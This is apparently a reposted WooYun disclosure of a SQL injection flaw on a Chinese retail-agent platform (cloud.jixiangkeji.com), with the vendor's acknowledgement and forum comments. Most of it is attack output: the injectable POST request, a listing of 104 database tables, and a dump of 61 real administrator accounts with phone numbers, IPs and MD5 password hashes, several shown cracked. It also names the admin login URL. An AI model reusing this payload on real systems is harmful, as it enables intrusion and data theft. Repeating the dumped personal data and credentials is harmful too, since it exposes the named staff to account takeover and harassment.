极享科技某处注入（泄漏数万用户信息、影响运营平台）

admin
admin
admin
139627
文章
114
评论
2017年3月17日09:57:34评论446 views字数 217阅读0分43秒阅读模式
摘要

2016-03-15： 细节已通知厂商并且等待厂商处理中
2016-03-15： 厂商已经确认，细节仅向厂商公开
2016-03-25： 细节向核心白帽子及相关领域专家公开
2016-04-04： 细节向普通白帽子公开
2016-04-14： 细节向实习白帽子公开
2016-04-29： 细节向公众公开

漏洞概要 关注数(3) 关注此漏洞

缺陷编号： WooYun-2016-181568

漏洞标题： 极享科技某处注入（泄漏数万用户信息、影响运营平台）

相关厂商： jixiangkeji.com

漏洞作者： : )

提交时间： 2016-03-15 14:11

公开时间： 2016-04-29 15:00

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 20

漏洞状态： 厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 无

0人收藏

漏洞详情

披露状态：

2016-03-15： 细节已通知厂商并且等待厂商处理中
2016-03-15： 厂商已经确认，细节仅向厂商公开
2016-03-25： 细节向核心白帽子及相关领域专家公开
2016-04-04： 细节向普通白帽子公开
2016-04-14： 细节向实习白帽子公开
2016-04-29： 细节向公众公开

简要描述：

极享科技某处注入（泄漏数万用户信息、影响运营平台）

详细说明：

由头： WooYun: 极享科技服务器配置不当造成目录遍历涉及三万代理商身份证信息

实践的时候在想，存在目录遍历的站点一般安全性不会很好。

所以，测试了一下，存在sql注入。

code 区域 
POST /?g=home&m=search&a=index HTTP/1.1
 Host: cloud.jixiangkeji.com
 Content-Length: 35
 Accept: application/json, text/javascript, */*; q=0.01
 Origin: http://cloud.jixiangkeji.com
 X-Requested-With: XMLHttpRequest
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 Referer: http://cloud.jixiangkeji.com/index.php?m=search&a=index
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.8
 Cookie: PHPSESSID=48ldp72r687u923g79mh2r6163; Hm_lvt_5f99c549bfd5b41e86713bd853f84016=1457243419; Hm_lpvt_5f99c549bfd5b41e86713bd853f84016=1457244897
 Connection: close
 
 bra_id=27&keyword=123'&captcha=0756

表：

code 区域 
Database: ymall
 [104 tables]
 +---------------------------------------+
 | ymall_active_cash                     |
 | ymall_active_num                      |
 | ymall_ad                              |
 | ymall_adboard                         |
 | ymall_admin                           |
 | ymall_admin_auth                      |
 | ymall_admin_authority                 |
 | ymall_admin_config                    |
 | ymall_admin_role                      |
 | ymall_admin_team                      |
 | ymall_app_citymeeting                 |
 | ymall_app_coupon                      |
 | ymall_app_couponuser                  |
 | ymall_app_interest                    |
 | ymall_app_lessons                     |
 | ymall_app_lessonsuser                 |
 | ymall_app_pushnews                    |
 | ymall_app_pushstatus                  |
 | ymall_app_start                       |
 | ymall_app_topic                       |
 | ymall_app_topline                     |
 | ymall_app_version                     |
 | ymall_article                         |
 | ymall_article_cate                    |
 | ymall_article_page                    |
 | ymall_auto_user                       |
 | ymall_badword                         |
 | ymall_brand                           |
 | ymall_buy_record                      |
 | ymall_city                            |
 | ymall_company                         |
 | ymall_complaint_message               |
 | ymall_express                         |
 | ymall_feedback                        |
 | ymall_finance_log                     |
 | ymall_finance_refund                  |
 | ymall_financial_details               |
 | ymall_flink                           |
 | ymall_flink_cate                      |
 | ymall_good_promotion                  |
 | ymall_goods                           |
 | ymall_goods_cate                      |
 | ymall_group_goods                     |
 | ymall_industry                        |
 | ymall_inviting_code                   |
 | ymall_inviting_complain               |
 | ymall_ipban                           |
 | ymall_lbs_local                       |
 | ymall_log                             |
 | ymall_logic_cmpy                      |
 | ymall_login_log                       |
 | ymall_loginlog                        |
 | ymall_mail_queue                      |
 | ymall_menu                            |
 | ymall_nav                             |
 | ymall_notice                          |
 | ymall_notice_type                     |
 | ymall_oauth                           |
 | ymall_openid                          |
 | ymall_order                           |
 | ymall_order1                          |
 | ymall_order_copy                      |
 | ymall_order_goods                     |
 | ymall_order_proce                     |
 | ymall_order_profit                    |
 | ymall_orderlogics                     |
 | ymall_pay_log                         |
 | ymall_product                         |
 | ymall_product_cate                    |
 | ymall_profit_log                      |
 | ymall_scatter_log                     |
 | ymall_scatter_logics                  |
 | ymall_scatter_order                   |
 | ymall_self_trade_log                  |
 | ymall_seller                          |
 | ymall_seller_up                       |
 | ymall_sellerpay_recode                |
 | ymall_send_sms                        |
 | ymall_series                          |
 | ymall_setting                         |
 | ymall_shop_goods                      |
 | ymall_shop_goods_cate                 |
 | ymall_shop_ydition                    |
 | ymall_user                            |
 | ymall_user_address                    |
 | ymall_user_blacklist                  |
 | ymall_user_cart                       |
 | ymall_user_collecd                    |
 | ymall_user_complaint                  |
 | ymall_user_order                      |
 | ymall_user_orderlogics                |
 | ymall_user_orderproce                 |
 | ymall_user_orderrem                   |
 | ymall_user_stat                       |
 | ymall_useraddre                       |
 | ymall_useraudit                       |
 | ymall_userorder_editadd               |
 | ymall_users                           |
 | ymall_usersagent                      |
 | ymall_wallet                          |
 | ymall_wallet_config                   |
 | ymall_wallet_log                      |
 | ymall_wallet_record                   |
 | ymall_ydition                         |
 +---------------------------------------+
 
 Database: information_schema
 [59 tables]
 +---------------------------------------+
 | CHARACTER_SETS                        |
 | COLLATIONS                            |
 | COLLATION_CHARACTER_SET_APPLICABILITY |
 | COLUMNS                               |
 | COLUMN_PRIVILEGES                     |
 | ENGINES                               |
 | EVENTS                                |
 | FILES                                 |
 | GLOBAL_STATUS                         |
 | GLOBAL_VARIABLES                      |
 | INNODB_BUFFER_PAGE                    |
 | INNODB_BUFFER_PAGE_LRU                |
 | INNODB_BUFFER_POOL_STATS              |
 | INNODB_CMP                            |
 | INNODB_CMPMEM                         |
 | INNODB_CMPMEM_RESET                   |
 | INNODB_CMP_PER_INDEX                  |
 | INNODB_CMP_PER_INDEX_RESET            |
 | INNODB_CMP_RESET                      |
 | INNODB_FT_BEING_DELETED               |
 | INNODB_FT_CONFIG                      |
 | INNODB_FT_DEFAULT_STOPWORD            |
 | INNODB_FT_DELETED                     |
 | INNODB_FT_INDEX_CACHE                 |
 | INNODB_FT_INDEX_TABLE                 |
 | INNODB_LOCKS                          |
 | INNODB_LOCK_WAITS                     |
 | INNODB_METRICS                        |
 | INNODB_SYS_COLUMNS                    |
 | INNODB_SYS_DATAFILES                  |
 | INNODB_SYS_FIELDS                     |
 | INNODB_SYS_FOREIGN                    |
 | INNODB_SYS_FOREIGN_COLS               |
 | INNODB_SYS_INDEXES                    |
 | INNODB_SYS_TABLES                     |
 | INNODB_SYS_TABLESPACES                |
 | INNODB_SYS_TABLESTATS                 |
 | INNODB_TRX                            |
 | KEY_COLUMN_USAGE                      |
 | OPTIMIZER_TRACE                       |
 | PARAMETERS                            |
 | PARTITIONS                            |
 | PLUGINS                               |
 | PROCESSLIST                           |
 | PROFILING                             |
 | REFERENTIAL_CONSTRAINTS               |
 | ROUTINES                              |
 | SCHEMATA                              |
 | SCHEMA_PRIVILEGES                     |
 | SESSION_STATUS                        |
 | SESSION_VARIABLES                     |
 | STATISTICS                            |
 | TABLES                                |
 | TABLESPACES                           |
 | TABLE_CONSTRAINTS                     |
 | TABLE_PRIVILEGES                      |
 | TRIGGERS                              |
 | USER_PRIVILEGES                       |
 | VIEWS                                 |
 +---------------------------------------+

管理员账户：

http://cloud.jixiangkeji.com/admin.php

code 区域 
web application technology: Nginx, PHP 5.6.16
 back-end DBMS: MySQL >= 5.0.0
 Database: ymall
 Table: ymall_admin
 [61 entries]
 +-----+---------+------------------------------+-------------+--------+----------------+---------+---------------+----------+------------------------------------------------+------------+-----------------+---------------------+
 | id  | role_id | email                        | phone       | status | last_ip        | is_have | username      | is_admin | password                                       | last_time  | personal_system | personal_department |
 +-----+---------+------------------------------+-------------+--------+----------------+---------+---------------+----------+------------------------------------------------+------------+-----------------+---------------------+
 | 30  | 1       |             | 11111111111 | 1      | 61.48.40.138   | 0       | admin_bj_city | 1        | 9eab5ef9b7ba82859725f5b8f9cffe52               | 1457167168 | <blank>         | <blank>             |
 | 40  | 25      | <blank>                      | 18903347505 | 1      | 61.48.40.138   | 19      | cxn           | 0        | c8837b23ff8aaa8a2dde915473ce0991 (123321)      | 1457174961 | 0009            | 0403                |
 | 43  | 26      | <blank>                      | 18911101978 | 0      | 60.206.230.126 | 15      | chengxiaofeng | 0        | c42a07053235caffe09b2df1663145ce               | 1448517238 | <blank>         | <blank>             |
 | 44  | 43      | <blank>                      | 17701240673 | 1      | 61.48.40.138   | 16      | wuhongni      | 0        | 77b57c2ecbf5d5d2b1036a685f57034e               | 1457163797 | <blank>         | <blank>             |
 | 46  | 22      | <blank>                      | 17701242235 | 1      | 61.48.40.138   | 15      | tiantian      | 0        | e6bf96c78761506df8f4207d9bbce927               | 1457165527 | <blank>         | <blank>             |
 | 49  | 23      | <blank>                      | 17090130409 | 0      | 60.206.230.126 | 15      | chenlun       | 0        | 4e388700fa30c2406fe03a561a4a18b5               | 1446088001 | 0021            | 0501                |
 | 51  | 23      | <blank>                      | 18101093257 | 0      | 60.206.230.126 | 15      | zhangzhenying | 0        | 4b672c2d47edb01120499546c6d4b6e7               | 1450411019 | 0018            | 0501                |
 | 52  | 23      | <blank>                      | 15010108799 | 0      | 60.206.230.126 | 15      | kangchen      | 0        | 9b6b1ceeb29637cebbe27805bbd3de2d               | 1446442898 | 0015            | 0501                |
 | 54  | 30      | <blank>                      | 13811415527 | 1      | 61.48.40.138   | 15      | dongxiqiu     | 0        | b5acb64dca0f948e2a5e2fd261fa2905               | 1457077022 | 0024            | 0502                |
 | 55  | 39      | <blank>                      | 17710265870 | 1      | 61.48.40.138   | 15      | suliman       | 0        | 5f926a5f69379135198e4fb3b3952db0               | 1457170837 | 0020            | 0501                |
 | 56  | 24      | <blank>                      | 18201299272 | 1      | 61.48.40.138   | 15      | yuzijing      | 0        | 614f9d8d26f9d8a60ae2ed5186b68511               | 1454233260 | <blank>         | <blank>             |
 | 58  | 35      | <blank>                      | 18900128738 | 1      | 61.48.40.138   | 15      | liuqing       | 0        | 8200b17f0eb753a3715c6f998ff9f177 (liuqing)     | 1457076917 | 0047            | 0504                |
 | 61  | 24      | <blank>                      | 13716968962 | 0      | 60.206.230.126 | 1       | zhangjing     | 0        | 889ea92eab9208a7d96b1a7b9ac13246               | 1447234562 | <blank>         | <blank>             |
 | 62  | 24      | <blank>                      | 15210795873 | 1      | 61.48.40.138   | 15      | zhangyajun    | 0        | 376c43878878ac04e05946ec1dd7a55f (qwaszx)      | 1457165256 | <blank>         | <blank>             |
 | 63  | 24      | <blank>                      | 13716971302 | 1      | 61.48.40.138   | 15      | malili        | 0        | cd8221e065219da5429a798d9d70a7c0 (malili)      | 1457161826 | <blank>         | <blank>             |
 | 65  | 22      | <blank>                      | 13910695207 | 1      | 110.96.102.199 | 15      | liuyebo       | 0        | 92d250f5afd0e80eb2d55e3f7434a864               | 1457245380 | <blank>         | <blank>             |
 | 68  | 25      | <blank>                      | 13910259594 | 0      | 60.206.230.123 | 19      | yueguanyun    | 0        | 0cace62eca2d2076faedc476de292a99               | 1450431483 | t002            | 0403                |
 | 69  | 22      | <blank>                      | 18611138166 | 0      | 60.206.230.126 | 16      | jizicheng     | 0        | 76caf3666bb9c67b753cca8e4add9d22               | 1448276551 | <blank>         | <blank>             |
 | 70  | 27      | <blank>                      | 18511695687 | 1      | 61.48.40.138   | 15      | huanghaijun   | 0        | ca484386586886094cb2706b718693aa               | 1456800846 | <blank>         | <blank>             |
 | 71  | 22      | <blank>                      | 17710265801 | 0      | 60.206.230.126 | 15      | fangliwei     | 0        | c3c12e07bb5e53fa9a0b87f55415e402               | 1450335165 | <blank>         | <blank>             |
 | 73  | 25      | <blank>                      | 13001922253 | 1      | 61.48.40.138   | 15      | wangxue       | 0        | 08134a0fa02e4ec319a7742217a5c69d               | 1457167612 | <blank>         | <blank>             |
 | 74  | 39      | <blank>                      | 15313173892 | 1      | 1.202.106.249  | 15      | sunweiwei     | 0        | 518190477619444cf197dbb30fcf8e06               | 1456327971 | 0051            | 0504                |
 | 76  | 25      | <blank>                      | 15201240221 | 1      | 61.48.40.138   | 19      | huzhijun      | 0        | e10adc3949ba59abbe56e057f20f883e (123456)      | 1457174918 | 3321            | 3320                |
 | 77  | 25      | <blank>                      | 13146231255 | 1      | 61.48.40.138   | 1       | wuning        | 0        | e10adc3949ba59abbe56e057f20f883e (123456)      | 1456987217 | <blank>         | <blank>             |
 | 78  | 23      | <blank>                      | 17710268793 | 0      | 61.48.40.138   | 16      | wangzongnan   | 0        | 5f795de7be7665f92ef24cbab0dddc01               | 1451981229 | 0110            | 0501                |
 | 79  | 28      | <blank>                      | 13717994019 | 1      | 61.48.40.138   | 1       | daijingjie    | 0        | 78f077776ffd1ae0244189ac03c2527a               | 1456890629 | <blank>         | <blank>             |
 | 80  | 22      | <blank>                      | 17734563457 | 1      | 61.48.40.138   | 15      | zhonghongya   | 0        | c831dd2c3b408b1810a3533cbc0a0ac7 (zhonghongya) | 1457245140 | <blank>         | <blank>             |
 | 81  | 29      | <blank>                      | 18001156028 | 1      | 61.48.40.138   | 1       | wangnaijing   | 0        | 2b9e1ba739533cc0c7d3ee1b0957b9d0               | 1457160345 | <blank>         | <blank>             |
 | 82  | 31      | <blank>                      | 17706130016 | 1      | 117.82.184.160 | 15      | yangyouyou    | 0        | cc05b2d55b23adafa6ebf1cd819ef605               | 1457162204 | <blank>         | <blank>             |
 | 83  | 38      | <blank>                      | 13812755740 | 1      | 117.82.184.160 | 15      | liaoxiaoqin   | 0        | 13d83b1ad5ada1fa67b16a544c803a72               | 1457154416 | <blank>         | <blank>             |
 | 84  | 38      | <blank>                      | 15988173844 | 1      | 117.82.184.160 | 15      | lvxiaoping    | 0        | de5c1d61c23db102b940ed35801499f5               | 1457156863 | <blank>         | <blank>             |
 | 86  | 33      | <blank>                      | 18701008655 | 1      | <blank>        | 1       | liangqijing   | 0        | a47a42c842d7c804d5a026ca04272657               | 0          | <blank>         | <blank>             |
 | 87  | 33      | <blank>                      | 18511400103 | 1      | 61.48.40.138   | 15      | pengxuefeng   | 0        | 8d7ace4af043b3bde63ea227ac398939               | 1456482060 | <blank>         | <blank>             |
 | 88  | 33      | <blank>                      | 18611148329 | 1      | 61.48.40.138   | 1       | baoxiaowei    | 0        | c52583f3f0a72a0bea42ba3747803ef0               | 1456710577 | <blank>         | <blank>             |
 | 89  | 22      | <blank>                      | 13671236382 | 1      | 61.48.40.138   | 15      | wangweinan    | 0        | be5fc18f72072e6d43369283266c1be5               | 1457002680 | <blank>         | <blank>             |
 | 90  | 34      | <blank>                      | 13911920079 | 0      | 60.206.230.126 | 15      | wangyongsheng | 0        | 2aaf1076b3a08d10def83102fe4dccbd               | 1450176435 | <blank>         | <blank>             |
 | 91  | 25      | <blank>                      | 15201461725 | 1      | 61.48.40.138   | 19      | ceshi         | 0        | 4607e782c4d86fd5364d7e4508bb10d9 (147258)      | 1456389134 | <blank>         | <blank>             |
 | 92  | 25      | <blank>                      | 13811579348 | 1      | 61.48.40.138   | 16      | shanhaiqun    | 0        | aff98d6ea3aec455e5cf93383a477771               | 1457168174 | <blank>         | <blank>             |
 | 93  | 27      | <blank>                      | 18622030709 | 1      | 61.48.40.138   | 15      | baoguanghui   | 0        | 3da9d26911bef37ec04f12fe454a3368               | 1457081478 | <blank>         | <blank>             |
 | 94  | 37      | <blank>                      | 18210395429 | 0      | 61.48.40.138   | 1       | helei         | 0        | 0ff4ff7962b6cb6ab280ae34e49ee4a7               | 1451524829 | <blank>         | <blank>             |
 | 95  | 36      | <blank>                      | 18610370541 | 1      | 61.48.40.138   | 1       | liujinqiu     | 0        | f0fc8db9f34099ec17b05b9f2c9b48dc               | 1453095564 | <blank>         | <blank>             |
 | 96  | 37      | <blank>                      | 18210999665 | 1      | 61.48.40.138   | 1       | dinghui       | 0        | 1ddb12241cf84759cab6fb03ea948d23               | 1457164850 | <blank>         | <blank>             |
 | 97  | 23      | <blank>                      | 15330272583 | 1      | 61.48.40.138   | 15      | zhongchunyan  | 0        | 99e8abda50cf5d2b30a3fd5a0ecfd03d               | 1451993009 | <blank>         | <blank>             |
 | 98  | 38      | <blank>                      | 15989840157 | 1      | 117.82.185.228 | 1       | lvxiaoyan     | 0        | 353e0fd63af2fd7fd53d9923b1ec74da               | 1456536694 | <blank>         | <blank>             |
 | 99  | 22      | <blank>                      | 18518070779 | 1      | 61.48.40.138   | 16      | guxuelong     | 0        | 78f07c5dd3f4d669e197325250768375               | 1457164454 | 0134            | 0507                |
 | 100 | 26      | <blank>                      | 13341132116 | 1      | 61.48.40.138   | 15      | luoqiwen      | 0        | da67dfa7f141dfaa137e8f86469a86cf               | 1457162389 | <blank>         | <blank>             |
 | 101 | 33      | <blank>                      | 18810753175 | 1      | 61.48.40.138   | 15      | shengwei      | 0        | 15079ac52414777bd5bd48a3c3196f6b               | 1455704319 | <blank>         | <blank>             |
 | 102 | 41      | <blank>                      | 18911101978 | 1      | 61.48.40.138   | 15      | luzhenhua     | 0        | be922252f31d95fd28c7a3e74a8bdc98               | 1457170224 | <blank>         | <blank>             |
 | 103 | 22      | <blank>                      | 15311869765 | 1      | 61.48.40.138   | 15      | wangdongxu    | 0        | 88ac64d0cbf4f140aab392f52cd0b644               | 1457167179 | <blank>         | <blank>             |
 | 104 | 22      | <blank>                      | 13810981053 | 1      | 61.48.40.138   | 1       | zhangjingye   | 0        | cc4f3a5362b5bfab3afb07fb7c009a21               | 1456972322 | <blank>         | <blank>             |
 | 105 | 38      | <blank>                      | 15295683979 | 1      | 117.81.193.26  | 1       | zhangbingbing | 0        | 7bcae0adb885b76806288cfb01542dbf               | 1457054100 | <blank>         | <blank>             |
 | 106 | 34      | <blank>                      | 18511775700 | 1      | 61.48.40.138   | 15      | zhangying     | 0        | 4751aa5ec5b7e08b19c60a1a9fc1a166               | 1457168619 | <blank>         | <blank>             |
 | 107 | 33      | <blank>                      | 18500225259 | 1      | 61.48.40.138   | 1       | leiyunyun     | 0        | ac940e6495be5ccff2c033c29bd4f842               | 1457170548 | <blank>         | <blank>             |
 | 108 | 41      | <blank>                      | 13522813862 | 1      | 61.48.40.138   | 15      | wangwei       | 0        | 30a6a9338e3905b94de7a89d8e9d27d5               | 1457165330 | <blank>         | <blank>             |
 | 109 | 30      | <blank>                      | 15801233132 | 1      | 61.48.40.138   | 15      | qianying      | 0        | 7e99632af70abdbe37247047386757b7               | 1457168563 | <blank>         | <blank>             |
 | 110 | 44      | <blank>                      | 13501025992 | 1      | 61.48.40.138   | 15      | gengyingbin   | 0        | 484c4104c05e92b3d28f2dc23a6b4d45 (gengyingbin) | 1457083745 | <blank>         | <blank>             |
 | 111 | 30      | <blank>                      | 18801438691 | 1      | 61.48.40.138   | 15      | liuqianqian   | 0        | c33367701511b4f6020ec61ded352059 (654321)      | 1457080201 | <blank>         | <blank>             |
 | 112 | 25      | <blank>                      | 15810693319 | 1      | 61.48.40.138   | 19      | liuqianying   | 0        | a420384997c8a1a93d5a84046117c2aa (142857)      | 1457164220 | <blank>         | <blank>             |
 | 113 | 44      | <blank>                      | 13466396625 | 1      | 61.48.40.138   | 15      | konglijuan    | 0        | e1527f146a491ab3fe885d757d36c4b5               | 1457165466 | <blank>         | <blank>             |
 | 114 | 45      |  | 13691490116 | 1      | 61.48.40.138   | 1       | zhangjunying  | 0        | 4061c4f0e92d96f48f0f7f9f99b28627               | 1457077242 | <blank>         | <blank>             |
 | 115 | 45      | <blank>                      | 15910977491 | 1      | <blank>        | 1       | gongqian      | 0        | ccb9ea836c9b992c6252e9ff83cf2db2               | 0          | <blank>         | <blank>             |
 +-----+---------+------------------------------+-------------+--------+----------------+---------+---------------+----------+------------------------------------------------+------------+-----------------+---------------------+

漏洞证明：

code 区域 
1、会员信息
 
 
 用户总数:36533
 代理商总数：30570
 已审核代理商:29185
 当天注册代理商：40
 
 -----------------------------------------------
 韩束品牌代理总数：29693
 当天注册代理商：36
 
 -----------------------------------------------
 极享OTM品牌代理总数：243
 当天注册代理商：0
 
 -----------------------------------------------
 2、订单信息
 
 
 订单总数: 24646
 已审核订单数：19592
 已审核订单金额: ￥91697299
 待发货订单: 3
 已发货订单: 18637
 待发货订单金额: ￥7
 已发货订单金额: ￥86694642
 拒绝订单数: 719

管理登录：

极享科技某处注入（泄漏数万用户信息、影响运营平台）

会员信息：

极享科技某处注入（泄漏数万用户信息、影响运营平台）

极享科技某处注入（泄漏数万用户信息、影响运营平台）

代理信息：

极享科技某处注入（泄漏数万用户信息、影响运营平台）

极享科技某处注入（泄漏数万用户信息、影响运营平台）

极享科技某处注入（泄漏数万用户信息、影响运营平台）

提现审批：

极享科技某处注入（泄漏数万用户信息、影响运营平台）

平台信息推送：

极享科技某处注入（泄漏数万用户信息、影响运营平台）

...

修复方案：

版权声明：转载请注明来源 : )@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2016-03-15 15:00

厂商回复：

谢谢

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

  1. 2016-03-15 16:48 | 迪南 ( 普通白帽子 | Rank:540 漏洞数:109 | 我真是一个大菜比)

    1

    哪个参数

  2. 2016-03-20 19:24 | 乌云小秘书 极享科技某处注入（泄漏数万用户信息、影响运营平台） ( 普通白帽子 | 还没有发布任何漏洞 | 第1!绝对不意气用事!第2!绝对不漏判任何一...)

    1

    @: ) 漏洞未公开时透露漏洞详情是死罪啊！下次注意

  3. 2016-03-20 20:00 | 迪南 ( 普通白帽子 | Rank:540 漏洞数:109 | 我真是一个大菜比)

    1

    好吧，是我的错

  4. 2016-03-21 12:24 | : ) ( 实习白帽子 | Rank:67 漏洞数:10 | 知足常乐，心态要好)

    1

    @乌云小秘书 - -. I'm sorry..

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin